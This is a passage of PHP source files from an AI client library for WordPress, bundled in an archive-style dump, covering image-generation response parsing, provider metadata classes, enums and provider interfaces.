                case '2:3':
                    return '1024x1536';
                case '4:7':
                    return '1024x1792';
                default:
                    throw new InvalidArgumentException('The aspect ratio "' . $aspectRatio . '" is not supported.');
            }
        }
        // This should always have a value, as the method is only called if at least one or the other is set.
        if ($orientation !== null) {
            if ($orientation->isLandscape()) {
                return '1536x1024';
            }
            if ($orientation->isPortrait()) {
                return '1024x1536';
            }
        }
        return '1024x1024';
    }
    /**
     * Creates a request object for the provider's API.
     *
     * Implementations should use $this->getRequestOptions() to attach any
     * configured request options to the Request.
     *
     * @since 0.1.0
     *
     * @param HttpMethodEnum $method The HTTP method.
     * @param string $path The API endpoint path, relative to the base URI.
     * @param array<string, string|list<string>> $headers The request headers.
     * @param string|array<string, mixed>|null $data The request data.
     * @return Request The request object.
     */
    abstract protected function createRequest(HttpMethodEnum $method, string $path, array $headers = [], $data = null): Request;
    /**
     * Throws an exception if the response is not successful.
     *
     * @since 0.1.0
     *
     * @param Response $response The HTTP response to check.
     * @throws ResponseException If the response is not successful.
     */
    protected function throwIfNotSuccessful(Response $response): void
    {
        /*
         * While this method only calls the utility method, it's important to have it here as a protected method so
         * that child classes can override it if needed.
         */
        ResponseUtil::throwIfNotSuccessful($response);
    }
    /**
     * Parses the response from the API endpoint to a generative AI result.
     *
     * @since 0.1.0
     *
     * @param Response $response The response from the API endpoint.
     * @param string   $expectedMimeType The expected MIME type the response is in.
     * @return GenerativeAiResult The parsed generative AI result.
     */
    protected function parseResponseToGenerativeAiResult(Response $response, string $expectedMimeType = 'image/png'): GenerativeAiResult
    {
        /** @var ResponseData $responseData */
        $responseData = $response->getData();
        if (!isset($responseData['data']) || !$responseData['data']) {
            throw ResponseException::fromMissingData($this->providerMetadata()->getName(), 'data');
        }
        if (!is_array($responseData['data'])) {
            throw ResponseException::fromInvalidData($this->providerMetadata()->getName(), 'data', 'The value must be an array.');
        }
        $candidates = [];
        foreach ($responseData['data'] as $index => $choiceData) {
            if (!is_array($choiceData) || array_is_list($choiceData)) {
                throw ResponseException::fromInvalidData($this->providerMetadata()->getName(), "data[{$index}]", 'The value must be an associative array.');
            }
            $candidates[] = $this->parseResponseChoiceToCandidate($choiceData, $index, $expectedMimeType);
        }
        $id = $this->getResultId($responseData);
        if (isset($responseData['usage']) && is_array($responseData['usage'])) {
            $usage = $responseData['usage'];
            $tokenUsage = new TokenUsage($usage['input_tokens'] ?? 0, $usage['output_tokens'] ?? 0, $usage['total_tokens'] ?? 0);
        } else {
            $tokenUsage = new TokenUsage(0, 0, 0);
        }
        // Use any other data from the response as provider-specific response metadata.
        $providerMetadata = $responseData;
        unset($providerMetadata['id'], $providerMetadata['data'], $providerMetadata['usage']);
        return new GenerativeAiResult($id, $candidates, $tokenUsage, $this->providerMetadata(), $this->metadata(), $providerMetadata);
    }
    /**
     * Parses a single choice from the API response into a Candidate object.
     *
     * @since 0.1.0
     *
     * @param ChoiceData $choiceData The choice data from the API response.
     * @param int $index The index of the choice in the choices array.
     * @param string   $expectedMimeType The expected MIME type the response is in.
     * @return Candidate The parsed candidate.
     * @throws RuntimeException If the choice data is invalid.
     */
    protected function parseResponseChoiceToCandidate(array $choiceData, int $index, string $expectedMimeType = 'image/png'): Candidate
    {
        if (isset($choiceData['url']) && is_string($choiceData['url'])) {
            $imageFile = new File($choiceData['url'], $expectedMimeType);
        } elseif (isset($choiceData['b64_json']) && is_string($choiceData['b64_json'])) {
            $imageFile = new File($choiceData['b64_json'], $expectedMimeType);
        } else {
            throw ResponseException::fromInvalidData($this->providerMetadata()->getName(), "choices[{$index}]", 'The value must contain either a url or b64_json key with a string value.');
        }
        $parts = [new MessagePart($imageFile)];
        $message = new Message(MessageRoleEnum::model(), $parts);
        return new Candidate($message, FinishReasonEnum::stop());
    }
    /**
     * Extracts the result ID from the API response data.
     *
     * @since 0.4.0
     *
     * @param array<string, mixed> $responseData The response data from the API.
     * @return string The result ID.
     */
    protected function getResultId(array $responseData): string
    {
        return isset($responseData['id']) && is_string($responseData['id']) ? $responseData['id'] : '';
    }
}
src/Providers/OpenAiCompatibleImplementation/AbstractOpenAiCompatibleModelMetadataDirectory.php000064400000006373152205304550027262 0ustar00<?php

declare (strict_types=1);
namespace WordPress\AiClient\Providers\OpenAiCompatibleImplementation;

use WordPress\AiClient\Providers\ApiBasedImplementation\AbstractApiBasedModelMetadataDirectory;
use WordPress\AiClient\Providers\Http\DTO\Request;
use WordPress\AiClient\Providers\Http\DTO\Response;
use WordPress\AiClient\Providers\Http\Enums\HttpMethodEnum;
use WordPress\AiClient\Providers\Http\Exception\ResponseException;
use WordPress\AiClient\Providers\Http\Util\ResponseUtil;
use WordPress\AiClient\Providers\Models\DTO\ModelMetadata;
/**
 * Base class for a model metadata directory for providers that implement OpenAI's API format.
 *
 * This abstract class is designed to work with any AI provider that offers an OpenAI-compatible
 * models listing endpoint, including but not limited to Anthropic, Google, and other
 * providers that have adopted OpenAI's models API specification as a standard interface.
 *
 * @since 0.1.0
 */
abstract class AbstractOpenAiCompatibleModelMetadataDirectory extends AbstractApiBasedModelMetadataDirectory
{
    /**
     * {@inheritDoc}
     *
     * @since 0.1.0
     */
    protected function sendListModelsRequest(): array
    {
        $httpTransporter = $this->getHttpTransporter();
        $request = $this->createRequest(HttpMethodEnum::GET(), 'models');
        $request = $this->getRequestAuthentication()->authenticateRequest($request);
        $response = $httpTransporter->send($request);
        $this->throwIfNotSuccessful($response);
        $modelsMetadataList = $this->parseResponseToModelMetadataList($response);
        $modelMetadataMap = [];
        foreach ($modelsMetadataList as $modelMetadata) {
            $modelMetadataMap[$modelMetadata->getId()] = $modelMetadata;
        }
        return $modelMetadataMap;
    }
    /**
     * Creates a request object for the provider's API.
     *
     * @since 0.1.0
     *
     * @param HttpMethodEnum $method The HTTP method.
     * @param string $path The API endpoint path, relative to the base URI.
     * @param array<string, string|list<string>> $headers The request headers.
     * @param string|array<string, mixed>|null $data The request data.
     * @return Request The request object.
     */
    abstract protected function createRequest(HttpMethodEnum $method, string $path, array $headers = [], $data = null): Request;
    /**
     * Throws an exception if the response is not successful.
     *
     * @since 0.1.0
     *
     * @param Response $response The HTTP response to check.
     * @throws ResponseException If the response is not successful.
     */
    protected function throwIfNotSuccessful(Response $response): void
    {
        /*
         * While this method only calls the utility method, it's important to have it here as a protected method so
         * that child classes can override it if needed.
         */
        ResponseUtil::throwIfNotSuccessful($response);
    }
    /**
     * Parses the response from the API endpoint to list models into a list of model metadata objects.
     *
     * @since 0.1.0
     *
     * @param Response $response The response from the API endpoint to list models.
     * @return list<ModelMetadata> List of model metadata objects.
     */
    abstract protected function parseResponseToModelMetadataList(Response $response): array;
}
src/Providers/Enums/ToolTypeEnum.php000064400000001365152205304550013522 0ustar00<?php

declare (strict_types=1);
namespace WordPress\AiClient\Providers\Enums;

use WordPress\AiClient\Common\AbstractEnum;
/**
 * Enum for tool types.
 *
 * @since 0.1.0
 *
 * @method static self functionDeclarations() Creates an instance for FUNCTION_DECLARATIONS type.
 * @method static self webSearch() Creates an instance for WEB_SEARCH type.
 * @method bool isFunctionDeclarations() Checks if the type is FUNCTION_DECLARATIONS.
 * @method bool isWebSearch() Checks if the type is WEB_SEARCH.
 */
class ToolTypeEnum extends AbstractEnum
{
    /**
     * Function declarations tool type.
     */
    public const FUNCTION_DECLARATIONS = 'function_declarations';
    /**
     * Web search tool type.
     */
    public const WEB_SEARCH = 'web_search';
}
src/Providers/Enums/ProviderTypeEnum.php000064400000001673152205304550014401 0ustar00<?php

declare (strict_types=1);
namespace WordPress\AiClient\Providers\Enums;

use WordPress\AiClient\Common\AbstractEnum;
/**
 * Enum for provider types.
 *
 * @since 0.1.0
 *
 * @method static self cloud() Creates an instance for CLOUD type.
 * @method static self server() Creates an instance for SERVER type.
 * @method static self client() Creates an instance for CLIENT type.
 * @method bool isCloud() Checks if the type is CLOUD.
 * @method bool isServer() Checks if the type is SERVER.
 * @method bool isClient() Checks if the type is CLIENT.
 */
class ProviderTypeEnum extends AbstractEnum
{
    /**
     * Cloud-based AI provider (e.g. models available via external REST APIs).
     */
    public const CLOUD = 'cloud';
    /**
     * Server-side AI provider (e.g. self-hosted models).
     */
    public const SERVER = 'server';
    /**
     * Client-side AI provider (e.g. browser-based models).
     */
    public const CLIENT = 'client';
}
src/Providers/Contracts/ProviderOperationsHandlerInterface.php000064400000001522152205304550020737 0ustar00<?php

declare (strict_types=1);
namespace WordPress\AiClient\Providers\Contracts;

use WordPress\AiClient\Common\Exception\InvalidArgumentException;
use WordPress\AiClient\Operations\Contracts\OperationInterface;
/**
 * Interface for handling provider-level operations.
 *
 * Provides methods to retrieve and manage long-running operations
 * across all models within a provider. Operations are tracked at the
 * provider level rather than per-model.
 *
 * @since 0.1.0
 */
interface ProviderOperationsHandlerInterface
{
    /**
     * Gets an operation by ID.
     *
     * @since 0.1.0
     *
     * @param string $operationId Operation identifier.
     * @return OperationInterface The operation.
     * @throws InvalidArgumentException If operation not found.
     */
    public function getOperation(string $operationId): OperationInterface;
}
src/Providers/Contracts/ModelMetadataDirectoryInterface.php000064400000002347152205304550020177 0ustar00<?php

declare (strict_types=1);
namespace WordPress\AiClient\Providers\Contracts;

use WordPress\AiClient\Common\Exception\InvalidArgumentException;
use WordPress\AiClient\Providers\Models\DTO\ModelMetadata;
/**
 * Interface for accessing model metadata within a provider.
 *
 * Provides methods to list, check, and retrieve model metadata
 * for all models supported by a provider.
 *
 * @since 0.1.0
 */
interface ModelMetadataDirectoryInterface
{
    /**
     * Lists all available model metadata.
     *
     * @since 0.1.0
     *
     * @return list<ModelMetadata> Array of model metadata.
     */
    public function listModelMetadata(): array;
    /**
     * Checks if metadata exists for a specific model.
     *
     * @since 0.1.0
     *
     * @param string $modelId Model identifier.
     * @return bool True if metadata exists, false otherwise.
     */
    public function hasModelMetadata(string $modelId): bool;
    /**
     * Gets metadata for a specific model.
     *
     * @since 0.1.0
     *
     * @param string $modelId Model identifier.
     * @return ModelMetadata Model metadata.
     * @throws InvalidArgumentException If model metadata not found.
     */
    public function getModelMetadata(string $modelId): ModelMetadata;
}
src/Providers/Contracts/ProviderAvailabilityInterface.php000064400000001056152205304550017732 0ustar00<?php

declare (strict_types=1);
namespace WordPress\AiClient\Providers\Contracts;

/**
 * Interface for checking provider availability.
 *
 * Determines whether a provider is configured and available
 * for use based on API keys, credentials, or other requirements.
 *
 * @since 0.1.0
 */
interface ProviderAvailabilityInterface
{
    /**
     * Checks if the provider is configured.
     *
     * @since 0.1.0
     *
     * @return bool True if the provider is configured and available, false otherwise.
     */
    public function isConfigured(): bool;
}
src/Providers/Contracts/ProviderInterface.php000064400000003322152205304550015375 0ustar00<?php

declare (strict_types=1);
namespace WordPress\AiClient\Providers\Contracts;

use WordPress\AiClient\Common\Exception\InvalidArgumentException;
use WordPress\AiClient\Providers\DTO\ProviderMetadata;
use WordPress\AiClient\Providers\Models\Contracts\ModelInterface;
use WordPress\AiClient\Providers\Models\DTO\ModelConfig;
/**
 * Interface for AI providers.
 *
 * Providers represent AI services (Google, OpenAI, Anthropic, etc.)
 * and provide access to models, metadata, and availability information.
 *
 * @since 0.1.0
 */
interface ProviderInterface
{
    /**
     * Gets provider metadata.
     *
     * @since 0.1.0
     *
     * @return ProviderMetadata Provider metadata.
     */
    public static function metadata(): ProviderMetadata;
    /**
     * Creates a model instance.
     *
     * @since 0.1.0
     *
     * @param string $modelId Model identifier.
     * @param ?ModelConfig $modelConfig Model configuration.
     * @return ModelInterface Model instance.
     * @throws InvalidArgumentException If model not found or configuration invalid.
     */
    public static function model(string $modelId, ?ModelConfig $modelConfig = null): ModelInterface;
    /**
     * Gets provider availability checker.
     *
     * @since 0.1.0
     *
     * @return ProviderAvailabilityInterface Provider availability checker.
     */
    public static function availability(): \WordPress\AiClient\Providers\Contracts\ProviderAvailabilityInterface;
    /**
     * Gets model metadata directory.
     *
     * @since 0.1.0
     *
     * @return ModelMetadataDirectoryInterface Model metadata directory.
     */
    public static function modelMetadataDirectory(): \WordPress\AiClient\Providers\Contracts\ModelMetadataDirectoryInterface;
}
src/Providers/Contracts/ProviderWithOperationsHandlerInterface.php000064400000001235152205304550021574 0ustar00<?php

declare (strict_types=1);
namespace WordPress\AiClient\Providers\Contracts;

/**
 * Interface for providers that support operations handlers.
 *
 * Providers implementing this interface can return an operations handler
 * for managing long-running operations across all their models.
 *
 * @since 0.1.0
 */
interface ProviderWithOperationsHandlerInterface
{
    /**
     * Gets the operations handler for this provider.
     *
     * @since 0.1.0
     *
     * @return ProviderOperationsHandlerInterface The operations handler.
     */
    public static function operationsHandler(): \WordPress\AiClient\Providers\Contracts\ProviderOperationsHandlerInterface;
}
src/Providers/AbstractProvider.php000064400000010014152205304550013274 0ustar00<?php

declare (strict_types=1);
namespace WordPress\AiClient\Providers;

use WordPress\AiClient\Providers\Contracts\ModelMetadataDirectoryInterface;
use WordPress\AiClient\Providers\Contracts\ProviderAvailabilityInterface;
use WordPress\AiClient\Providers\Contracts\ProviderInterface;
use WordPress\AiClient\Providers\DTO\ProviderMetadata;
use WordPress\AiClient\Providers\Models\Contracts\ModelInterface;
use WordPress\AiClient\Providers\Models\DTO\ModelConfig;
use WordPress\AiClient\Providers\Models\DTO\ModelMetadata;
/**
 * Base class for a provider.
 *
 * @since 0.1.0
 */
abstract class AbstractProvider implements ProviderInterface
{
    /**
     * @var array<string, ProviderMetadata> Cache for provider metadata per class.
     */
    private static array $metadataCache = [];
    /**
     * @var array<string, ProviderAvailabilityInterface> Cache for provider availability per class.
     */
    private static array $availabilityCache = [];
    /**
     * @var array<string, ModelMetadataDirectoryInterface> Cache for model metadata directory per class.
     */
    private static array $modelMetadataDirectoryCache = [];
    /**
     * {@inheritDoc}
     *
     * @since 0.1.0
     */
    final public static function metadata(): ProviderMetadata
    {
        $className = static::class;
        if (!isset(self::$metadataCache[$className])) {
            self::$metadataCache[$className] = static::createProviderMetadata();
        }
        return self::$metadataCache[$className];
    }
    /**
     * {@inheritDoc}
     *
     * @since 0.1.0
     */
    final public static function model(string $modelId, ?ModelConfig $modelConfig = null): ModelInterface
    {
        $providerMetadata = static::metadata();
        $modelMetadata = static::modelMetadataDirectory()->getModelMetadata($modelId);
        $model = static::createModel($modelMetadata, $providerMetadata);
        if ($modelConfig) {
            $model->setConfig($modelConfig);
        }
        return $model;
    }
    /**
     * {@inheritDoc}
     *
     * @since 0.1.0
     */
    final public static function availability(): ProviderAvailabilityInterface
    {
        $className = static::class;
        if (!isset(self::$availabilityCache[$className])) {
            self::$availabilityCache[$className] = static::createProviderAvailability();
        }
        return self::$availabilityCache[$className];
    }
    /**
     * {@inheritDoc}
     *
     * @since 0.1.0
     */
    final public static function modelMetadataDirectory(): ModelMetadataDirectoryInterface
    {
        $className = static::class;
        if (!isset(self::$modelMetadataDirectoryCache[$className])) {
            self::$modelMetadataDirectoryCache[$className] = static::createModelMetadataDirectory();
        }
        return self::$modelMetadataDirectoryCache[$className];
    }
    /**
     * Creates a model instance based on the given model metadata and provider metadata.
     *
     * @since 0.1.0
     *
     * @param ModelMetadata $modelMetadata The model metadata.
     * @param ProviderMetadata $providerMetadata The provider metadata.
     * @return ModelInterface The new model instance.
     */
    abstract protected static function createModel(ModelMetadata $modelMetadata, ProviderMetadata $providerMetadata): ModelInterface;
    /**
     * Creates the provider metadata instance.
     *
     * @since 0.1.0
     *
     * @return ProviderMetadata The provider metadata.
     */
    abstract protected static function createProviderMetadata(): ProviderMetadata;
    /**
     * Creates the provider availability instance.
     *
     * @since 0.1.0
     *
     * @return ProviderAvailabilityInterface The provider availability.
     */
    abstract protected static function createProviderAvailability(): ProviderAvailabilityInterface;
    /**
     * Creates the model metadata directory instance.
     *
     * @since 0.1.0
     *
     * @return ModelMetadataDirectoryInterface The model metadata directory.
     */
    abstract protected static function createModelMetadataDirectory(): ModelMetadataDirectoryInterface;
}
src/Providers/DTO/ProviderModelsMetadata.php000064400000010144152205304550015047 0ustar00<?php

declare (strict_types=1);
namespace WordPress\AiClient\Providers\DTO;

use WordPress\AiClient\Common\AbstractDataTransferObject;
use WordPress\AiClient\Common\Exception\InvalidArgumentException;
use WordPress\AiClient\Providers\Models\DTO\ModelMetadata;
/**
 * Represents metadata about a provider and its available models.
 *
 * This class combines provider information with the models that
 * the provider offers, facilitating model discovery and selection.
 *
 * @since 0.1.0
 *
 * @phpstan-import-type ProviderMetadataArrayShape from ProviderMetadata
 * @phpstan-import-type ModelMetadataArrayShape from ModelMetadata
 *
 * @phpstan-type ProviderModelsMetadataArrayShape array{
 *     provider: ProviderMetadataArrayShape,
 *     models: list<ModelMetadataArrayShape>
 * }
 *
 * @extends AbstractDataTransferObject<ProviderModelsMetadataArrayShape>
 */
class ProviderModelsMetadata extends AbstractDataTransferObject
{
    public const KEY_PROVIDER = 'provider';
    public const KEY_MODELS = 'models';
    /**
     * @var ProviderMetadata The provider metadata.
     */
    protected \WordPress\AiClient\Providers\DTO\ProviderMetadata $provider;
    /**
     * @var list<ModelMetadata> The available models.
     */
    protected array $models;
    /**
     * Constructor.
     *
     * @since 0.1.0
     *
     * @param ProviderMetadata $provider The provider metadata.
     * @param list<ModelMetadata> $models The available models.
     *
     * @throws InvalidArgumentException If models is not a list.
     */
    public function __construct(\WordPress\AiClient\Providers\DTO\ProviderMetadata $provider, array $models)
    {
        if (!array_is_list($models)) {
            throw new InvalidArgumentException('Models must be a list array.');
        }
        $this->provider = $provider;
        $this->models = $models;
    }
    /**
     * Creates a deep clone of this metadata.
     *
     * Clones the provider metadata and all model metadata objects
     * to ensure the cloned instance is independent of the original.
     *
     * @since 0.4.2
     */
    public function __clone()
    {
        // Clone provider metadata
        $this->provider = clone $this->provider;
        // Deep clone models array (ModelMetadata has __clone)
        $clonedModels = [];
        foreach ($this->models as $model) {
            $clonedModels[] = clone $model;
        }
        $this->models = $clonedModels;
    }
    /**
     * Gets the provider metadata.
     *
     * @since 0.1.0
     *
     * @return ProviderMetadata The provider metadata.
     */
    public function getProvider(): \WordPress\AiClient\Providers\DTO\ProviderMetadata
    {
        return $this->provider;
    }
    /**
     * Gets the available models.
     *
     * @since 0.1.0
     *
     * @return list<ModelMetadata> The available models.
     */
    public function getModels(): array
    {
        return $this->models;
    }
    /**
     * {@inheritDoc}
     *
     * @since 0.1.0
     */
    public static function getJsonSchema(): array
    {
        return ['type' => 'object', 'properties' => [self::KEY_PROVIDER => \WordPress\AiClient\Providers\DTO\ProviderMetadata::getJsonSchema(), self::KEY_MODELS => ['type' => 'array', 'items' => ModelMetadata::getJsonSchema(), 'description' => 'The available models for this provider.']], 'required' => [self::KEY_PROVIDER, self::KEY_MODELS]];
    }
    /**
     * {@inheritDoc}
     *
     * @since 0.1.0
     *
     * @return ProviderModelsMetadataArrayShape
     */
    public function toArray(): array
    {
        return [self::KEY_PROVIDER => $this->provider->toArray(), self::KEY_MODELS => array_map(static fn(ModelMetadata $model): array => $model->toArray(), $this->models)];
    }
    /**
     * {@inheritDoc}
     *
     * @since 0.1.0
     */
    public static function fromArray(array $array): self
    {
        static::validateFromArrayData($array, [self::KEY_PROVIDER, self::KEY_MODELS]);
        return new self(\WordPress\AiClient\Providers\DTO\ProviderMetadata::fromArray($array[self::KEY_PROVIDER]), array_map(static fn(array $modelData): ModelMetadata => ModelMetadata::fromArray($modelData), $array[self::KEY_MODELS]));
    }
}
src/Providers/DTO/ProviderMetadata.php000064400000017364152205304550013716 0ustar00<?php

declare (strict_types=1);
namespace WordPress\AiClient\Providers\DTO;

use WordPress\AiClient\Common\AbstractDataTransferObject;
use WordPress\AiClient\Common\Exception\InvalidArgumentException;
use WordPress\AiClient\Providers\Enums\ProviderTypeEnum;
use WordPress\AiClient\Providers\Http\Enums\RequestAuthenticationMethod;
/**
 * Represents metadata about an AI provider.
 *
 * This class contains information about an AI provider, including its
 * unique identifier, display name, and type (cloud, server, or client).
 *
 * @since 0.1.0
 * @since 1.2.0 Added optional description property.
 * @since 1.3.0 Added optional logoPath property.
 *
 * @phpstan-type ProviderMetadataArrayShape array{
 *     id: string,
 *     name: string,
 *     description?: ?string,
 *     type: string,
 *     credentialsUrl?: ?string,
 *     authenticationMethod?: ?string,
 *     logoPath?: ?string
 * }
 *
 * @extends AbstractDataTransferObject<ProviderMetadataArrayShape>
 */
class ProviderMetadata extends AbstractDataTransferObject
{
    public const KEY_ID = 'id';
    public const KEY_NAME = 'name';
    public const KEY_DESCRIPTION = 'description';
    public const KEY_TYPE = 'type';
    public const KEY_CREDENTIALS_URL = 'credentialsUrl';
    public const KEY_AUTHENTICATION_METHOD = 'authenticationMethod';
    public const KEY_LOGO_PATH = 'logoPath';
    /**
     * @var string The provider's unique identifier.
     */
    protected string $id;
    /**
     * @var string The provider's display name.
     */
    protected string $name;
    /**
     * @var string|null The provider's description.
     */
    protected ?string $description;
    /**
     * @var ProviderTypeEnum The provider type.
     */
    protected ProviderTypeEnum $type;
    /**
     * @var string|null The URL where users can get credentials.
     */
    protected ?string $credentialsUrl;
    /**
     * @var RequestAuthenticationMethod|null The authentication method.
     */
    protected ?RequestAuthenticationMethod $authenticationMethod;
    /**
     * @var string|null The full path to the provider's logo image file.
     */
    protected ?string $logoPath;
    /**
     * Constructor.
     *
     * @since 0.1.0
     * @since 1.2.0 Added optional $description parameter.
     * @since 1.3.0 Added optional $logoPath parameter.
     *
     * @param string $id The provider's unique identifier.
     * @param string $name The provider's display name.
     * @param ProviderTypeEnum $type The provider type.
     * @param string|null $credentialsUrl The URL where users can get credentials.
     * @param RequestAuthenticationMethod|null $authenticationMethod The authentication method.
     * @param string|null $description The provider's description.
     * @param string|null $logoPath The full path to the provider's logo image file.
     * @throws InvalidArgumentException If the provider ID contains invalid characters.
     */
    public function __construct(string $id, string $name, ProviderTypeEnum $type, ?string $credentialsUrl = null, ?RequestAuthenticationMethod $authenticationMethod = null, ?string $description = null, ?string $logoPath = null)
    {
        if (!preg_match('/^[a-z0-9\-_]+$/', $id)) {
            throw new InvalidArgumentException(sprintf(
                // phpcs:ignore Generic.Files.LineLength.TooLong
                'Invalid provider ID "%s". Only lowercase alphanumeric characters, hyphens, and underscores are allowed.',
                $id
            ));
        }
        $this->id = $id;
        $this->name = $name;
        $this->description = $description;
        $this->type = $type;
        $this->credentialsUrl = $credentialsUrl;
        $this->authenticationMethod = $authenticationMethod;
        $this->logoPath = $logoPath;
    }
    /**
     * Gets the provider's unique identifier.
     *
     * @since 0.1.0
     *
     * @return string The provider ID.
     */
    public function getId(): string
    {
        return $this->id;
    }
    /**
     * Gets the provider's display name.
     *
     * @since 0.1.0
     *
     * @return string The provider name.
     */
    public function getName(): string
    {
        return $this->name;
    }
    /**
     * Gets the provider's description.
     *
     * @since 1.2.0
     *
     * @return string|null The provider description.
     */
    public function getDescription(): ?string
    {
        return $this->description;
    }
    /**
     * Gets the provider type.
     *
     * @since 0.1.0
     *
     * @return ProviderTypeEnum The provider type.
     */
    public function getType(): ProviderTypeEnum
    {
        return $this->type;
    }
    /**
     * Gets the credentials URL.
     *
     * @since 0.1.0
     *
     * @return string|null The credentials URL.
     */
    public function getCredentialsUrl(): ?string
    {
        return $this->credentialsUrl;
    }
    /**
     * Gets the authentication method.
     *
     * @since 0.4.0
     *
     * @return RequestAuthenticationMethod|null The authentication method.
     */
    public function getAuthenticationMethod(): ?RequestAuthenticationMethod
    {
        return $this->authenticationMethod;
    }
    /**
     * Gets the full path to the provider's logo image file.
     *
     * @since 1.3.0
     *
     * @return string|null The full path to the logo image file.
     */
    public function getLogoPath(): ?string
    {
        return $this->logoPath;
    }
    /**
     * {@inheritDoc}
     *
     * @since 0.1.0
     * @since 1.2.0 Added description to schema.
     * @since 1.3.0 Added logoPath to schema.
     */
    public static function getJsonSchema(): array
    {
        return ['type' => 'object', 'properties' => [self::KEY_ID => ['type' => 'string', 'description' => 'The provider\'s unique identifier.'], self::KEY_NAME => ['type' => 'string', 'description' => 'The provider\'s display name.'], self::KEY_DESCRIPTION => ['type' => 'string', 'description' => 'The provider\'s description.'], self::KEY_TYPE => ['type' => 'string', 'enum' => ProviderTypeEnum::getValues(), 'description' => 'The provider type (cloud, server, or client).'], self::KEY_CREDENTIALS_URL => ['type' => 'string', 'description' => 'The URL where users can get credentials.'], self::KEY_AUTHENTICATION_METHOD => ['type' => ['string', 'null'], 'enum' => array_merge(RequestAuthenticationMethod::getValues(), [null]), 'description' => 'The authentication method.'], self::KEY_LOGO_PATH => ['type' => 'string', 'description' => 'The full path to the provider\'s logo image file.']], 'required' => [self::KEY_ID, self::KEY_NAME, self::KEY_TYPE]];
    }
    /**
     * {@inheritDoc}
     *
     * @since 0.1.0
     * @since 1.2.0 Added description to output.
     * @since 1.3.0 Added logoPath to output.
     *
     * @return ProviderMetadataArrayShape
     */
    public function toArray(): array
    {
        return [self::KEY_ID => $this->id, self::KEY_NAME => $this->name, self::KEY_DESCRIPTION => $this->description, self::KEY_TYPE => $this->type->value, self::KEY_CREDENTIALS_URL => $this->credentialsUrl, self::KEY_AUTHENTICATION_METHOD => $this->authenticationMethod ? $this->authenticationMethod->value : null, self::KEY_LOGO_PATH => $this->logoPath];
    }
    /**
     * {@inheritDoc}
     *
     * @since 0.1.0
     * @since 1.2.0 Added description support.
     * @since 1.3.0 Added logoPath support.
     */
    public static function fromArray(array $array): self
    {
        static::validateFromArrayData($array, [self::KEY_ID, self::KEY_NAME, self::KEY_TYPE]);
        return new self($array[self::KEY_ID], $array[self::KEY_NAME], ProviderTypeEnum::from($array[self::KEY_TYPE]), $array[self::KEY_CREDENTIALS_URL] ?? null, isset($array[self::KEY_AUTHENTICATION_METHOD]) ? RequestAuthenticationMethod::from($array[self::KEY_AUTHENTICATION_METHOD]) : null, $array[self::KEY_DESCRIPTION] ?? null, $array[self::KEY_LOGO_PATH] ?? null);
    }
}
src/Providers/ApiBasedImplementation/AbstractApiBasedModel.php000064400000006231152205304550020517 0ustar00<?php

declare (strict_types=1);
namespace WordPress\AiClient\Providers\ApiBasedImplementation;

use WordPress\AiClient\Providers\ApiBasedImplementation\Contracts\ApiBasedModelInterface;
use WordPress\AiClient\Providers\DTO\ProviderMetadata;
use WordPress\AiClient\Providers\Http\Contracts\WithHttpTransporterInterface;
use WordPress\AiClient\Providers\Http\Contracts\WithRequestAuthenticationInterface;
use WordPress\AiClient\Providers\Http\DTO\RequestOptions;
use WordPress\AiClient\Providers\Http\Traits\WithHttpTransporterTrait;
use WordPress\AiClient\Providers\Http\Traits\WithRequestAuthenticationTrait;
use WordPress\AiClient\Providers\Models\DTO\ModelConfig;
use WordPress\AiClient\Providers\Models\DTO\ModelMetadata;
/**
 * Base class for an API-based model for a provider.
 *
 * While this class contains no abstract methods, it is still abstract to ensure that each model class can actually
 * perform generative AI tasks by implementing the corresponding interfaces.
 *
 * @since 0.1.0
 */
abstract class AbstractApiBasedModel implements ApiBasedModelInterface, WithHttpTransporterInterface, WithRequestAuthenticationInterface
{
    use WithHttpTransporterTrait;
    use WithRequestAuthenticationTrait;
    /**
     * @var ModelMetadata The metadata for the model.
     */
    private ModelMetadata $metadata;
    /**
     * @var ProviderMetadata The metadata for the model's provider.
     */
    private ProviderMetadata $providerMetadata;
    /**
     * @var ModelConfig The configuration for the model.
     */
    private ModelConfig $config;
    /**
     * @var RequestOptions|null The request options for HTTP transport.
     */
    private ?RequestOptions $requestOptions = null;
    /**
     * Constructor.
     *
     * @since 0.1.0
     *
     * @param ModelMetadata $metadata The metadata for the model.
     * @param ProviderMetadata $providerMetadata The metadata for the model's provider.
     */
    public function __construct(ModelMetadata $metadata, ProviderMetadata $providerMetadata)
    {
        $this->metadata = $metadata;
        $this->providerMetadata = $providerMetadata;
        $this->config = ModelConfig::fromArray([]);
    }
    /**
     * {@inheritDoc}
     *
     * @since 0.1.0
     */
    final public function metadata(): ModelMetadata
    {
        return $this->metadata;
    }
    /**
     * {@inheritDoc}
     *
     * @since 0.1.0
     */
    final public function providerMetadata(): ProviderMetadata
    {
        return $this->providerMetadata;
    }
    /**
     * {@inheritDoc}
     *
     * @since 0.1.0
     */
    final public function setConfig(ModelConfig $config): void
    {
        $this->config = $config;
    }
    /**
     * {@inheritDoc}
     *
     * @since 0.1.0
     */
    final public function getConfig(): ModelConfig
    {
        return $this->config;
    }
    /**
     * {@inheritDoc}
     *
     * @since 0.3.0
     */
    final public function setRequestOptions(RequestOptions $requestOptions): void
    {
        $this->requestOptions = $requestOptions;
    }
    /**
     * {@inheritDoc}
     *
     * @since 0.3.0
     */
    final public function getRequestOptions(): ?RequestOptions
    {
        return $this->requestOptions;
    }
}
src/Providers/ApiBasedImplementation/GenerateTextApiBasedProviderAvailability.php000064400000004500152205304550024435 0ustar00<?php

declare (strict_types=1);
namespace WordPress\AiClient\Providers\ApiBasedImplementation;

use Exception;
use WordPress\AiClient\Messages\DTO\Message;
use WordPress\AiClient\Messages\DTO\MessagePart;
use WordPress\AiClient\Messages\Enums\MessageRoleEnum;
use WordPress\AiClient\Providers\Contracts\ProviderAvailabilityInterface;
use WordPress\AiClient\Providers\Models\Contracts\ModelInterface;
use WordPress\AiClient\Providers\Models\DTO\ModelConfig;
use WordPress\AiClient\Providers\Models\TextGeneration\Contracts\TextGenerationModelInterface;
/**
 * Class to check availability for an API-based provider via a test request to the endpoint to generate text.
 *
 * This class should be used for cloud-based providers that do not offer a model listing endpoint, but do offer a
 * text generation endpoint which requires authentication. A minimal request to this endpoint is used to determine
 * if the provider is properly configured with valid credentials.
 *
 * @since 0.1.0
 */
class GenerateTextApiBasedProviderAvailability implements ProviderAvailabilityInterface
{
    /**
     * @var ModelInterface&TextGenerationModelInterface The model to use for checking availability.
     */
    private ModelInterface $model;
    /**
     * Constructor.
     *
     * @since 0.1.0
     *
     * @param ModelInterface $model The model to use for checking availability.
     */
